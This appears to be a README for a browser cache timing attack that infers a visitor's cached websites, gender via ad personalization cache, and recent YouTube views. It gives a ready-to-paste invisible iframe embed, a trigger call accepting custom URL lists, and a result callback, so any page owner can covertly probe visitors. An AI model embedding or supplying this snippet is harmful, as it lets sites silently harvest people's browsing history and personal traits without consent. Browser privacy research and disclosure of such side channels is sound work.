A Timing attack on the browser to try to predict websites that have cached.
Mobile devices may not work correctly.
Discord: https://discord.gg/YFkmVZX

Add: <iframe id="cacheattack" src="https://cache.ndev.tk/embed.html" style="width:0;height:0;border:0; border:none;"></iframe>
Usage: cacheattack.contentWindow.postMessage(null, 'https://cache.ndev.tk/embed.html'); // An array can be used instead of null for custom urls
Callback: onmessage = e => console.log(e.data)

https://cache.ndev.tk/ (Detects cached websites)
https://cache.ndev.tk/Gender (Detects your Gender via Google Ad personalization cache)
https://cache.ndev.tk/youtube (Detects your last viewed YouTube videos)